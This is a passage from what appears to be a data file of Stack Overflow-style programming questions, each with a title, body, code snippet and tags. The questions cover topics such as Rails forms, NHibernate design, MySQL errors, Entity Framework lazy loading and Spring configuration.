http://www.koolkatwebdesigns.com/wptouch-and-custom-templates/\nAlso, someone is
using shortcodes; not sure if this works for content that WPTouch is already
ignoring: http://www.renegadetechconsulting.com/tutorials/generate-mobile-specific-
content-using-wptouch-pro-shortcodes\nThanks in advance! \n", "", "themes css
plugin-wptouch"], "4188790": ["Ruby on rails 3 select box values combined ready for
validation, is this possible?", "I have created a custom date_Select field using 3
separate select fields:\n\nIn my User.rb (Model) I have this validation rule and
also using validates_timelessness gem:\n\nI have created some tests which work
perfectly fine with the date_select that comes with rails but that date_select is
buggy which is why I opted for a custom one. My only issue now is I wish to get
day, month and year to work with my :birthday symbol. How do I combine all 3 so
that my :birthday symbol can use the select data? If that makes sense...\nThe
date_select would have been perfect but it lets users submit a form without the yea
being filled out and if a users chooses 1 for a day and clicks submit it will
automatically select january. I haven't found a way round that.\nSo I'm using 3
separate select fields which I want to combine and make work with :birthday just
like date_select did.\nHelp is appreciated. \n", "<%= f.select :day,
options_for_select(User::DAYS), :include_blank => \"Day:\" %>\n<%= f.select :month,
options_for_select(User::MONTHS), :include_blank => \"Month:\" %>\n<%=
f.select :year, options_for_select(User::YEAR_RANGE), :include_blank =>\"Year:\"
%>\n", "ruby-on-rails ruby ruby-on-rails-3 rubygems rvm"], "261642": ["Can
the \"Application Error\" dialog box be disabled?", "I am using Hudson as a
continuous integration server to test C/C++ code. Unfortunatly, I have a bug
somewhere that causes memory corruption, so on some Windows machines I will
sometimes get a \"Application Error\" dialog box explaining that an instruction
referenced memory that could not be read. This dialog box pops up and basically
hangs the test run, as it requires manual intervention. \nIs there a way to
prevent this dialog box from appearing, so that the test run simply fails and is
reported as such in Hudson? \nIs it possible to automatically generate a minidump
instead of showing the dialog? \n", "", "c++ windows debugging memory build-
automation"], "1900832": ["Not able to instantiate neo4j", "I'm starting to learn
the neo4j DB. My test code
is below:\n\nHowever, it always gives an exception:\n\n", "@Test\npublic void
persistedMovieShouldBeRetrievableFromGraphDb() {\n GraphDatabaseService graphDB
= new EmbeddedGraphDatabase(\"data/graph.db\");\n
registerShutdownHook(graphDB);\n Transaction tx = graphDB.beginTx();\n try{\n
Neo4jTemplate template = new Neo4jTemplate(graphDB);\n Movie forrestGump =
template.save(new Movie(\"Forrest Gump\", 1994));\n Movie retrievedMovie =
template.findOne(forrestGump.getId(), Movie.class);\n
assertEquals(\"Retrieved Movie matched persisted one\", forrestGump,
retrievedMovie);\n assertEquals(\"retrieved movie title matches\", \"Forrest
Gump\", retrievedMovie.getTitle());\n }\n finally{\n tx.finish();\n
}\n}\n", "spring nosql neo4j graph-databases"], "3635722": ["Can a pure DDD
approach be used with NHibernate?", "I've been reading up on DDD a little bit, and
I am confused how this would fit in when using an ORM like NHibernate.\nRight now I
have a .NET MVC application with fairly \"fat\" controllers, and I'm trying to
figure out how best to fix that. Moving this business logic into the model layer
would be the best way to do this, but I am unsure how one would do that.\nMy
application is set up so that NHibernate's session is managed by an HttpModule
(gets session / transaction out of my way), which is used by repositories that
return the entity objects (Think S#arp arch... turns out a really duplicated a lot
of their functionality in this). These repositories are used by DataServices, which
right now are just wrappers around the Repositories (one-to-one mapping between
them, e.g. UserDataService takes a UserRepository, or actually a Repository). These
DataServices right now only ensure that data annotations decorating the entity
classes are checked when saving / updating.\nIn this way, my entities are really
just data objects, but do not contain any real logic. While I could put some things
in the entity classes (e.g. an \"Approve\" method), when that action needs to do
something like sending an e-mail, or touching other non-related objects, or, for
instance, checking to see if there are any users that have the same e-mail before
approving, etc., then the entity would need access to other repositories, etc.
Injecting these with an IoC wouldn't work with NHibernate, so you'd have to use a
factory pattern I'm assuming to get these. I don't see how you would mock those in
tests though.\nSo the next most logical way to do it, I would think, would be to
essentially have a service per controller, and extract all of the work being done
in the controller currently into methods in each service. I would think that this
is breaking with the DDD idea though, as the logic is now no longer contained in
the actual model objects.\nThe other way of looking at that I guess is that each of
those services forms a single model with the data object that it works against
(Separation of data storage fields and the logic that operates on it), but I just
wanted to see what others are doing to solve the \"fat controller\" issue with DDD
while using an ORM like NHibernate that works by returning populated data objects,
and the repository model.\nUpdated\nI guess my problem is how I'm looking at this:
NHibernate seems to put business objects (entities) at the bottom of the stack,
which repositories then act on. The repositories are used by services which may use
multiple repositories and other services (email, file access) to do things. I.e:
App > Services > Repositories > Business Objects\nThe pure DDD approach I'm reading
about seems to reflect an Active Record bias, where the CRUD functions exist in the
business objects (This I call User.Delete directly instead of Repository.Delete
from a service), and the actual business object handles the logic of things that
need to be done in this instance (Like emailing the user, and deleting files
belonging to the user, etc.). I.e. App > (Services) > Business Objects >
Repositories\nWith NHibernate, it seems I would be better off using the first
approach given the way NHibernate functions, and I am looking for confirmation on
my logic. Or if I'm just confused, some clarification on how this layered approach
is supposed to work. My understanding is that if I have an \"Approve\" method that
updates the User model, persists it, and lets say, emails a few people, that this
method should go on the User entity object, but to allow for proper IoC so I can
inject the messagingService, I need to do this in my service layer instead of on
the User object. \nFrom a \"multiple UI\" point of view this makes sense, as the
logic to do things is taken out of my UI layer (MVC), and put into these
services... but I'm essentially just factoring the logic out to another class
instead of doing it directly in the controller, and if I am not ever going to have
any other UI's involved, then I've just traded a \"fat controller\" for a \"fat
service\", since the service is essentially going to encapsulate a method per
controller action to do it's work.\n", "", "asp.net nhibernate mvc domain-driven-
design repository"], "2766930": ["Warning mysql_num_rows(): supplied argument is
not a valid MySQL result", "Why i have this error and how to fix this, I've double
checked everything and all is okay\n\nWarning: mysql_num_rows(): supplied argument
is not a valid\n MySQL result resource in\n
/home/sharinga/public_html/ccccc.com/app/like/like.php on\n line 15 You have an
error in your SQL syntax; check the\n manual that corresponds to your MySQL server
version for the right\n syntax to use near 'like WHERE postID='81' AND\n
userIP='2x2.2x0.x5.xxx'' at line 1\n\nHere is sql\n\n", "$ip_sql =
mysql_query(\"SELECT userIP FROM like WHERE postID='$id' AND userIP='$ip'\");\
n$count = mysql_num_rows($ip_sql) or die(mysql_error());\nif($count==0)\n{...\n",
"php sql"], "1428078": ["MVC Deletemodal with extra options using jQuery", "In MVC
I made a jQuery modal asking me if i'm sure if i want to delete it, and then make a
postback with I use this for all my 'Index views', which are quite a lot.\nFor
most views, when I delete something, the row from the table is also delete with \
nnow, for some views, things do not really get deleted, but they get 'inactive'. So
in that case i dont want to delete them from the table, I rather just give them the
class 'rowinactive'\nSo this is what i've got:\nIndex.aspx\n\nThe HTML table\n\n\
nExternal JS File\n\nSo to make it possible to make the row inactive rather than
hide it, I added a the .\nNow, rather than adding the var, i would like to send a
from my Index.aspx in the calling of deleteConfirmation. the function then would
contain the code that needs to be executed on succes of the postback. I want this
because i would like to hide the buttons of the inactive rows, eventhough i
probably could do that with that doesnt look clean to me.\nthe additional question
is: how would you optimize this code?\n", "$.post", "jquery asp.net-mvc modal-
dialog"], "978365": ["Newbie to Lucene.net, best aproach to complex queries?", "I'm
building a website for learning pruposes and i'm looking at lucene.net\nas a full
text indexer for my content but I have some questions.\nLets say I have a hierarchy
(n levels) of categories, and articles that are assigned to one category (1 cat ->
n articles).\nUsing a simple RDB would be very easy to search for an article under
a category or any of it's subcategories. But i'm struggling to \nimagine how i'd
build this kind of query using lucene. Options I think that might work:\nSuposing
that i'm idexing \"title, text, category\" for every article, one option would be
to first get a list with the id's of every subcategory\nfrom the DB and then search
in lucene with that list.\nOther option would be to index the entire
category \"path\" of the article inside a field in lucene. Something
like \"title\", \"text\", \"catparent1, catparent2, catparent3, category\" ?\
nWhat's the best aproach when doing this kind of query with complex relational
filters? (not just text search)\n", "", "lucene lucene.net"], "5218955": ["How to
manipulate strings with x86 assembly?", "I'm in the process of writing an assembly
program that takes two strings as input and concatenates them. Here's what I have:
(using NASM syntax)\n\nSince I've never done any work with strings in x86 assembly
before, I need to know how storing and manipulating strings work in the first
place.\nI'm guessing that once the length of each string is known, that
concatenating would simply involve moving chunks of memory around. This part can be
simplified by using . (I can use and .)\nMy real problem is that I'm not familiar
with the way strings are stored in x86 assembly. Do they just get added to the
stack...? Do they go on a heap somewhere? Should I use (somehow)?\n", " SECTION
.data\nhello: db \"Hello \",0\nworld: db \"world!\",0\n\n SECTION .text\n\n;
do the concatenation\n", "string assembly x86 concatenation"], "3635720": ["mysql
remote connection", "I spoke with my host supporter to find what is my sql
hostname.\nHe said that the only way is add permissions in mysql remote (cpanel) to
my actual ip.\nSo the config in heidiSQL for example will be\n\nBut i have a
dynamic ip, so i need to change the permissions every time, correct?\nAdd the flag
probably is not a good idea, so how can I solve this problem?\nWhy I dont have
something like ?\nSorry, if this question is too basic.\n", "localhost\nuserxxx\
npassxxx\n", "mysql cpanel remote-access"], "4851534": ["Browser tabs timer rotates
in case of asynchronous cross domain ajax request?", "I have jsp page1 which is
proceesed from application1 hosted on tomcat1.i am making the async cross site ajax
request from my browser (thru page)\nto different application(cross domain request)
on different webserver(node.js).what
is happening is till i do not get the response(which i get after 3-4 minutes), my
firefox/chrome client\ntab keeps on showing processing(like timer keeps on rotating
on tab and left bottom corner they show waiting for servername) which does not
happen on IE. As this is the asynchronous call,\ni do not want the user to feel
some thing is processing on server. \nIs there a way to stop the behaviour where
timer keeps on rotating\non browser tab in firefox/chrome?\n", "", "javascript
jquery-ajax asynchronous webserver cross-domain"], "1985444": ["Is there a book
with overview of modern IT problems and solve methods?", "There are Enterprise,
Web, Computer Vision, Compilers, IDE ... and Java, MVC, OpenCV, LLVM ... Does a
book exist where all topics are fully discovered?\n", "", "software-engineering"],
"5642531": ["Combobox Database value", "I am making an ASPx and C# form with
DevExpress comboboxes and an SQL database. I've pulled the data to one of the
boxes that I need.\nI need to assign a variable to one of the fields from the
database that are pulled into the combobox. \n\nThe point is that when I choose
something in this combobox, another combobox displays related data from another
table based on the fkCode value.\nHow would I pull that variable from this, and use
it so that my query for the textbox displays the appropriate data based on that
fkCode?\n", "<dx:ASPxComboBox ID=\"testNameBox\" runat=\"server\"
CssClass=\"dropdown\" \nFont-Names=\"Tahoma\" Font-Size=\"10px\"
ClientIDMode=\"AutoID\" \nDataSourceID=\"testSource\" ValueType=\"System.String\"\
nIncrementalFilteringMode=\"Contains\">\n <Columns>\n <dx:ListBoxColumn
FieldName=\"pkTestKey\" Visible=\"False\" />\n <dx:ListBoxColumn
FieldName=\"fkTestCode\" Visible=\"False\" />\n <dx:ListBoxColumn
Caption=\"Test Item Name\" FieldName=\"Name\" />\n
</Columns>\n</dx:ASPxComboBox>\n", "c# javascript asp.net sql devexpress"],
"3980696": ["Faster way to find the correct order of chunks to get a known SHA1
hash?", "Say a known SHA1 hash was calculated by concatenating several chunks of
data and that the order in which the chunks were concatenated is unknown. The
straight forward way to find the order of the chunks that gives the known hash
would be to calculate an SHA1 hash for each possible ordering until the known hash
is found.\nIs it possible to speed this up by calculating an SHA1 hash separately
for each chunk and then find the order of the chunks by only manipulating the
hashes?\n", "", "hash"], "4248391": ["How to delete each number at the beginning of
a line in Notepad or Microsoft Word?", "I have a list like this:\n\nI would like to
remove 1,2,3,4,5 without doing this manually for each line. The only tool I am
using is notepad in a bare Windows setup.\nHow can i remove this in Notepad or
Microsoft Word?\n", "1 http://\n2 http://\n3 http://\n4 http://\n5 http://\n",
"windows microsoft-word text-editing notepad"], "2798090": ["issues while setup
dedicated server for cod4", "I've encountered a problem while im trying to setup a
Call of Duty 4 dedicated server on windows server2008. I've checked up few
tutorials and they where all helpful. but I'm trying to do it in a bit different
way and im stuck :( there are some arguments that I should send iw3mp.exe while it
is starting. All tutorials do it by creating a shortcut and adding parameters to
the target path. This works just fine. But When I try to do it from cmd screen it
returns errors. It says \"directx encountered an unrecoverable error.\" same
happens when i try to start it using some C# code.\n\nwhy do you think this kind of
an errors occurs? im sure that it isn't caused because of the old version of
directx or something like that because it works fine with that shortcut method. So
there must be something else. \nAny help would be appreciated. Thank you...\n", "
Process p = new Process();\n p.StartInfo.WorkingDirectory =
@\"C:/Program Files (x86)/Activision/Call of Duty 4 - Modern Warfare/\";\n
p.StartInfo.FileName = @\"C:/Program Files (x86)/Activision/Call of Duty 4 - Modern
Warfare/iw3mp.exe\";\n p.StartInfo.Arguments = \" set dedicated 2 set
sv_punkbuster 1 exec mp-server.cfg map_rotate\";\n p.Start();\n
p.WaitForExit();\n", "c# cmd process.start dedicated-server"], "677612": ["Looking
for a CA key value storage with CAS support", "I'm looking for a persistent key
value storage that supports consistency, availability and compare-and-set. \nIt
will be deployed on three nodes and must be operable when one (any) of nodes is
down. If the whole cluster goes offline (due to a power problems for an example)
and then is back online it shouldn't lose any data. Also I expect the system not to
bother a system administrator unless two nodes are down. Of cause it is desirable
to be as fast as it possible. And the most important feature is consistency: if
something is reported to be saved it can't be lost due to a failure.\nI explored
MongoDB's docs that in some rare situation it requires manual intervention, but
it's not optional.\nAnother system I looked over was Voldemort. I assume it meets
my requirements with following settings: \n\nbut it doesn't provide comprehensive
docs about replication and consistency, so I can't verify my assumption.\nDo you
have an experience with a storage that fits my requirements? Could you recommend me
something?\nP.S. I'm not intent to store huge amount of information, so sharding
may be omitted.\n", "<replication-factor>3</replication-factor>\n<required-
reads>2</required-reads>\n<required-writes>2</required-writes>\n", "mongodb
replication availability consistency voldemort"], "133387": ["Entity Framework Lazy
Loading with generic repository", "My current project uses a generic repository
interface, thus:\n\nAs an example, the method looks like this:\n\nwhere is an
instance my data context, which extends Entity Framework's . The whole thing
implements so that I can use it in a scope block for unit-of-work pattern, waiting
to the end before committing changes, or disposing the entire thing if something
goes wrong before that.\nThis interface is used by a logic layer to handle more
complex queries, to keep business logic entirely separated from data access. So, a
query to that layer might go like this:\n\n(Yes, I realise that can be condensed;
it is in the app, but for an example, this is clearer.)\nMy problem is that
sometimes I return a set of objects, and then later I might want to get to some of
the things it references. For example, when I get a Product to display, the Display
might want to do this:\n\n(ignore the quality of the HTML; again, it's a quick
example)\nThe problem is that this throws errors when Entity Framework's lazy
loading leaves these properties null when returning entities from my queries. Now,
I'm aware of the method, but if my repository is generic then it's difficult to
apply those. I could turn it off entirely, but then EF will start retrieving
enormous linked collections of things when I don't need them - the structure of my
model and the links that things have out to the audit logs mean a lot of links for
EF to follow.\nIs there a way that I can lazy-load in a slightly smarter manner? Is
there a method like and that I can call on the that will bring child objects as
well, so that I can specifically ask for child objects to be included for a certain
query?\n", "public interface IDataSource : IDisposable\n{\n void Add<T>(T
newItem) where T : EntityBase;\n\n T Get<T>(Guid id) where T : EntityBase;\n
T Get<T>(Expression<Func<T, bool>> predicate) where T : EntityBase;\n
IQueryable<T> GetAll<T>(Expression<Func<T, bool>> predicate = null) where T :
EntityBase;\n int Count<T>(Expression<Func<T, bool>> predicate = null) where T :
EntityBase;\n bool Any<T>(Expression<Func<T, bool>> predicate = null) where T :
EntityBase;\n\n void Update<T>(T updated) where T : EntityBase;\n\n void
Delete<T>(Guid id) where T : EntityBase;\n void Delete<T>(T item) where T :
EntityBase;\n\n void Commit();\n}\n", "entity-framework asp.net-mvc-4 lazy-
loading entity-framework-5 navigation-properties"], "5965731": ["Macro to move data
with changing date", "Sorry if this isn't explained overly well, im a macro newbie
so im not sure if this one is even possible.. \nI'm looking to create a weekday
table for some simple statistic reporting that automatically creates a new row each
day, and removes the oldest, showing the data for the current day and 6 days
previous. Ideally i'd like the current day at the top of the table, and each day
the entered data in the corresponding row moves down 1 row creating space for the
new day's stats.\nAs some background info on what im trying to do.. im basically
creating a friendly UI display (offline HTML) of the data recorded in a very simple
5 column (stats) by 7 row (weekdays) table. This database will need to be updated
by multiple people with limited technical ability, so im basically trying to make
it as easy as possible for them to enter stats each day without having to worry
about also updating to correct dates and making sure they are replacing the right
days data etc. In theory, it would be great to automate the process of updating the
table each day to create space for them to enter the current days data, pushing
yesterdays data down one row (and if the cell ranges for the whole table always the
same, it should allow me to automate the updates to the offline HTML display as
well).\nAny ideas?\n", "", "excel macros"], "4479947": ["How can you cast a 2
dimensional array in C?", "My brain has gone a lot fuzzy just recently and I can't
for the life of me remember why the following C code: \n\nGenerates the following
warning:\n\nCould someone please explain this for me. \nThank you.\n", "char a[3]
[3] = { \"123\",
\"456\", \"789\" };\nchar **b = a;\n", "c arrays pointers initialization"],
"3592792": ["Shifting Buffer to the left, scrolling a string on LED panel?", "I
have a function that I dont quite understand \nThere are 109 addresses from 0 to
110.\nHow is this code shifting text to the left ?\n\nif b starts at 0, then b+1
should scroll the text to the RIGHT instead ??? Or am I getting this wrong ?
because at 0, b+1 means the address is 1, if its b-1, then the address should be
110 (hence scrolling left) ... But thats not the case here, can someone provide a
rough explanation ?\nThe display_buffer contains the string information stored in
its arrays.\n--\nEDIT\nThanks guys !! What if I replaced Display_Buffer[b+1] with
[b-1] ... will this reverse the process ? how ?\nOkay I realized I have to add
b=109 and while (b!=0) .. or else that wont make sense.\nBut still, if
Display_Buffer[109]=Display_Buffer[108], does that mean it will produce the same
effect as you guys answered but in reverse ?\n", "b=0;\nwhile(b<109)\n{\n
Display_Buffer[b] = Display_Buffer[b+1];\n b++;\n}\n", "c arrays text scroll
buffer"], "863676": ["Linux: X11 is using up 50% of one of my CPUs and lagging
terribly", "I have been running my Ubuntu Linux Machine recently on powerful
hardware (much more powerful\nthan my last machine at any rate) and I have noticed
that after some time all of a sudden X11 starts\nto behave terribly and eats a
(fluxuating) average of 50% CPU usage of one of my cores. I have four\ncores and my
computer still runs but when that begins everything from keyboard input to playing\
nmovies begins to lag and there is not way that I can get the terrible performance
to stop without\nrebooting my computer.\nThe exact specifications of my computer
are:\n\nLinux ShhnapDesk 2.6.38-10-generic #46-Ubuntu SMP Tue Jun 28 15:07:17 UTC
2011 x86_64 x86_64\n x86_64 GNU/Linux\n\nI am running XMonad and XMobar through my
.XSession file. I like them as window managers.\nI have searched around and I do
not seem to be alone in this problem. Many people seem to have\nencountered it over
the years as is listed here:\n\nArchLinux Topic\nGOS Forums\nLaunchpad Bug Report\
nThis bug is particularily interesting because it shows that it is a well known
problem but that\npeople still could not find the cause.\nAnother launchpad bug\
nYet another launchpad bug\nDebian Forums\nMany Ubuntu Forums Threads\n\nI also
looked into the Ubuntu X Troubleshooting guide and found this:\n\nX CPU or memory
load is high, making system laggy or freeze up. This usually indicates a client\n
application has lost its marbles.\n\nSo if an X application has lost its Marbles
then which X application is it? Well I reasoned that if\nthe problem started and I
shut down every X application then when I shut down the problem\napplication then
the problem should go away. I tried that and shut down every X application (or\
natleast I thought I did) and the problem still remained. Though I did not shut
down XMonad because\nit is my window manager. I guess that it could be the problem
but I would not expect it to be.\nEspecially since it did not cause these issues on
my last machine.\nSo my question is: what is happening and how do I fix it so that
X11 stops going haywire and eating\nall of my CPU and behaving like a slug?
Thankyou for any and all responses, I suspect that I am\ngoing to need alot of help
though if I have missed out on any information then I can give you any\nmore that
you need to help me debug the problem.\n", "", "linux troubleshooting xorg cpu-
usage"], "934647": ["How to use trained Neural Network in Matlab for classification
in a real system", "I have trained Feed Forward NN using Matlab Neural Network
Toolbox on a dataset containing speech features and accelerometer measurements.
Targetset contains two target classes for dataset: 0 and 1. The training,
validation and performance are all fine and I have generated code for this
network.\nNow I need to use this neural network in real-time to recognize pattern
when occur and generate 0 or 1 when I test a new dataset against previously trained
NN. But when I issue a command:\n\nWhere \"j\" is a new dataset[24x11]; instead 0
or 1 i get this as an output (I assume I get percent of correct classification but
there is no classification result itself):\n\nSo is there any command or a way that
I can actually see classification results? Any help highly appreciated! Thanks\n",
" c = sim(net, j)\n", "matlab machine-learning neural-network classification"],
"3281680": ["Word VBA \"Label Not Defined\" If Bookmark exists command", "I am very
new to VBA and just learning. Here's my situation and problem:\n1) I created a
working userform with text and comboboxes linking to bookmarks\n2) Problem is that
it doesn't work if some bookmarks don't exist (and the project will require this:
the form will need to run on documents where not all bookmarks are present)\n3) I
would like the form stop giving me error messages if bookmarks arent there and just
fill out the ones that are existing in that particular ocument\n4) Here's the
Code:\n\n4) How do I get this to work?????????\n", "Private Sub cmdOK_Click()\n
Application.ScreenUpdating = False\n With ActiveDocument\n
If .Bookmarks.Exists(\"cboYourName\") Then\n .Range.Text =
cboYourName.Value\n Else: GoTo 28\n End If\n
If .Bookmarks.Exists(\"cboYourPhone\") Then\n .Range.Text =
cboYourPhone.Value\n Else: GoTo 32\n End If\n
If .Bookmarks.Exists(\"cboYourFax\") Then\n .Range.Text = cboYourFax.Value\n
Else: GoTo 36\n End If\n If .Bookmarks.Exists(\"cboYourEmail\") Then\n
.Range.Text = cboYourEmail.Value\n Else: GoTo 40\n End If\n
If .Bookmarks.Exists(\"txtContractName\") Then\n .Range.Text =
txtContractName.Value\n Else: GoTo 44\n End If\n
If .Bookmarks.Exists(\"txtContractNumber\") Then\n .Range.Text =
txtContractNumber.Value\n Else: End\n End If\n End With\n
Application.ScreenUpdating = True\n Unload Me\nEnd Sub\n", "vba word exists
bookmarks"], "3214972": ["The growth rate of the functions with respect to each
other", "There are two functions , for example $f(n)=3\\sqrt{n}$, and $g(n)=\\log
n$. Which one dominates, in other words, is $f(n)=O(g(n))$ or $f(n)= \\Omega(g(n))
$?\nThank you.\n", "", "functions algorithms asymptotics computational-
complexity"], "1574808": ["ajax update panel - imagebutton and button behaving
differently?", "I have an ajax panel (actually it' a Rad Ajax Panel - the behavior
is similar to an Ajax Update Panel with everything in the ContentTemplate section
and no Triggers), with an image button (asp:ImageButton) and a button
(asp:Button).\nI notice that they behave differently - the image button advances to
postback (Page_Load and Button_Click server functions), when the button doesn't!\
nHow can I achieve this behavior with the Button too? (Replacing the Button with an
ImageButton solved the problem... Is there a way to maintain the Button and have
the ImageButton's behavior?)\n\nThis is what my code looks like (two buttons, two
click functions, and two client click functions):\n\n", "<telerik:RadScriptManager
ID=\"RadScriptManager1\" runat=\"server\">\n</telerik:RadScriptManager>\n\n<div
style=\"width: 800px;\">\n <telerik:RadAjaxPanel ID=\"RadAjaxPanel1\"
runat=\"server\" LoadingPanelID=\"RadAjaxLoadingPanel1\">\n\n
<telerik:RadScriptBlock ID=\"RadScriptBlock1\" runat=\"server\">\n <script
type=\"text/javascript\">\n function validateSave() {\
n // ...\n return true; \n
}\n\n function validateAdd() {\n // ...\n
return true; \n } \n
</script>\n </telerik:RadScriptBlock>\n\n <asp:Panel ID=\"Panel1\"
runat=\"server\" Visible=\"false\">\n <fieldset>\n <legend>New
item</legend>\n <%--..........--%>\n <asp:ImageButton ID=\"Button4\"
runat=\"server\" \n ImageUrl=\"~/App_Themes/ThemeDefault/images/add.gif\"\n
OnClientClick=\"return validateAdd();\" \n OnClick=\"Button4_Click\" />\n
</fieldset>\n\n\n <%--..........--%>\n <asp:Button ID=\"Button2\"
runat=\"server\" \n OnClientClick=\"return
validateSave();\" \n Text=\"Save\" ToolTip=\"Save\" OnClick=\"Button2_Click\"
/>\n</asp:Panel>\n\n\n</telerik:RadAjaxPanel> \n\
n<telerik:RadAjaxLoadingPanel ID=\"RadAjaxLoadingPanel1\"
runat=\"server\">\n</telerik:RadAjaxLoadingPanel> \n\n</div>\n", "asp.net
ajax postback"], "6004175": ["Getting going on play framework - what silly mistake
am I making here?", "So I am starting out using the play framework with Mongo and
have an issue with trying to get something working using the simple MVC pattern. I
can't see the wood for the trees with this and know the solution is bound to be
simple.\nI have a user object defined as an entity:\n\nAnd I have a controller with
the following two methods in it:\n\nAnd the routes defined as follows:\n\nSo I have
the following page view defined and when I click save, the code in the controller
is telling me that the User object is null:\n\nI have tried a ton of permutations
on the acton and can't figure out why it is not working. Any ideas? All help is
greatly appreciated, I know it is somethign stupid I am missing, it is just what.\
n", "package models;\n\nimport play.modules.mongo.MongoEntity;\nimport
play.modules.mongo.MongoModel;\n\n\n@MongoEntity(\"users\")\npublic class User
extends MongoModel\n{\n public String username;\n public String email;\n
public String password;\n}\n", "java mongodb playframework"], "3347120": ["iPhoto
Library no longer shows up in \"choose file\" dialog after
migration", "I just migrated to a new Mac.\nWhen I try to upload a file in Safari
and the \"choose file\" dialog comes up (the one that looks like the Finder), my
iPhoto Library is missing.\n\"Photos\" is still in the sidebar, but it is empty.\
nAny ideas on how to get this back.\nNote: iPhoto works fine.\n", "", "osx mac
file-management iphoto"], "2213573": ["Need some HTML element with HTMLAgilityPack
in C# - how to do it?", "I have the following scenario:\n\nNow, how do I get
the \"test.com\" part and the anchor of the text, without having the bolded parts?\
n", "<a href=\"test.com\">Some text <b>is bolded</b> some is <b>not</b></a>\n", "c#
html parsing html-agility-pack"], "342965": ["Is the setDisplayOrientation sample
code correct?", "The documentation page for Camera.setDisplayOrientation contains
the following code sample stating that using it will \"make the camera image show
in the same orientation as the display\":\n\nHowever, I had problems using it,
sometimes the image would appear upside down. After some trial-and-error, I found
that the correct code would be (replacing the last 8 lines of the method):\n\
n(Which means the calculation for back-facing cameras is correct for front cameras
too.) The \"compensate the mirror\" comment is a bit weird since mirroring cannot
be undone by rotating, that operation only swaps 90\u00b0 and 270\u00b0 rotations
which doesn't really make sense to me.\nSo the question is: is the sample wrong
indeed or am I missing something? I tried it on multiple devices, both back and
front cameras and all supported orientations, so I know that my code IS working.
One little detail that might be worth mentioning: all my devices returned 90\u00b0
as .\nEDIT: Here is my camera-related code, I have tested it on a Nexus One and a
Samsung Galaxy S Plus. It is used in my head-tracking 3D app, the preview is shown
in the lower left corner and should always have the correct orientation.\nSOLUTION
(sort of): It looks like the code is correct, but my testing phone (Samsung Galaxy
S Plus) returns an incorrect value for the front camera's CameraInfo.orientation.
There are many related discussions about the preview being shown upside down on
this model (examples here and here). A way to fix is to include an option to
manually rotate the image.\n", " public static void
setCameraDisplayOrientation(Activity activity,\n int cameraId,
android.hardware.Camera camera) {\n android.hardware.Camera.CameraInfo info =\n
new android.hardware.Camera.CameraInfo();\n
android.hardware.Camera.getCameraInfo(cameraId, info);\n int rotation =
activity.getWindowManager().getDefaultDisplay()\n .getRotation();\n
int degrees = 0;\n switch (rotation) {\n case Surface.ROTATION_0:
degrees = 0; break;\n case Surface.ROTATION_90: degrees = 90; break;\n
case Surface.ROTATION_180: degrees = 180; break;\n case
Surface.ROTATION_270: degrees = 270; break;\n }\n\n int result;\n if
(info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {\n result =
(info.orientation + degrees) % 360;\n result = (360 - result) % 360; //
compensate the mirror\n } else { // back-facing\n result =
(info.orientation - degrees + 360) % 360;\n }\n
camera.setDisplayOrientation(result);\n }\n", "android documentation android-
camera"], "681607": ["How to create class with data from DB with c#", "\nPossible
Duplicate:\nHow to create a C# class whose attributes are rows in a database table
with ADO.NET? \n\nAt the moment I have the following class:\n\nHowever, if the
table called Action in the DB changes (adds or deletes possible actions), I do not
want to modify the application in order to support the new action. So, my question
is: how to keep this class updated with the actions stored in the DB and be able to
use this actions throughout the application?\nUpdate: The table in the database has
only two columns: idAction, Name.\n", "public class myActions\n{\n public const
string Create = \"Create\";\n public const string Read = \"Read\";\n public
const string Update = \"Update\";\n public const string Delete = \"Delete\";\n}\
n", "c# .net class data-binding"], "1738327": ["Spring PageNotFound and URLMapping
in web.xml", "I have been reading a lot of questions like this, but I'm not getting
out of the trouble, and I'm starting to think that the problem is tomcat playing
around.\nFirst of all, here are my web.xml, my *-servlet.xml and my controller.\
nweb.xml\n\nThis is my kimboo-servlet.xml\n\n\nAnd this is my controller\n\nThis is
a pretty simple example, I don't know why isn't working. I have readed a lot of
questions like this, here and in another sites, I don't know what I'm missing.\nBy
the way, in the controller I tried all the convinations to match the url; put
\"/home/\" or \"home/\" at the class level, and put \"login\" or \"main\" at method
level.\nThe only thing that works is when I hit localhost:8080/myServer/home/. I
tried using \"/home/\" in the url-pattern of the web.xml instead \"/home/\". I also
tried use \"/\" and \"/\", but is the same.\nThe only way that this works is when
in the url-pattern of the web.xml I use\n\nThen I can hit all the url's. I don't
know what to do, maybe this is a tomcat 7 problem?\n", "<?xml version=\"1.0\"
encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-
instance\" \nxmlns=\"http://java.sun.com/xml/ns/javaee\"\nxmlns:web=\"http://
java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"\nxsi:schemaLocation=\"http://
java.sun.com/xml/ns/javaee\nhttp://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\"
version=\"3.0\">\n\n<display-name>Spring REST Server</display-name>\
n<description>Spring REST Server</description>\n<context-param>\n <param-
name>log4jConfigLocation</param-name>\n
<param-value>classpath:env/log4j.properties</param-value>\n</context-param>\
n<context-param>\n<param-name>contextConfigLocation</param-name>\n<param-value>\n
classpath:config/applicationContext.xml\n classpath:config/kimboo-
servlet.xml\n</param-value>\n</context-param>\n<context-param>\n <param-
name>webAppRootKey</param-name>\n <param-value>Kimboo</param-value>\n</context-
param>\n<listener>\n <listener-
class>org.springframework.web.util.Log4jConfigListener</listener-class>\n</
listener>\n<listener>\n <listener-
class>org.springframework.web.context.ContextLoaderListener</listener-class>\n</
listener>\n\n<!-- Spring MVC Dispatcher Servlet -->\n<servlet>\n <servlet-
name>kimboo</servlet-name>\n <servlet-
class>org.springframework.web.servlet.DispatcherServlet</servlet-class>\n <init-
param>\n <param-name>contextConfigLocation</param-name>\n <param-value>\n
classpath:config/applicationContext.xml\n classpath:config/kimboo-servlet.xml\
n </param-value>\n </init-param>\n
<load-on-startup>1</load-on-startup>\n</servlet>\n<servlet-mapping>\n <servlet-
name>kimboo</servlet-name>\n <url-pattern>/home/</url-pattern>\n</servlet-
mapping>\n</web-app>\n", "url spring-mvc view tomcat7 web.xml"], "3197216":
["syntax for calling virtual functions outside of the class?", "what is the syntax
for defining virtual functions outside the class body?\n\nis it?\n\n?\n", "class
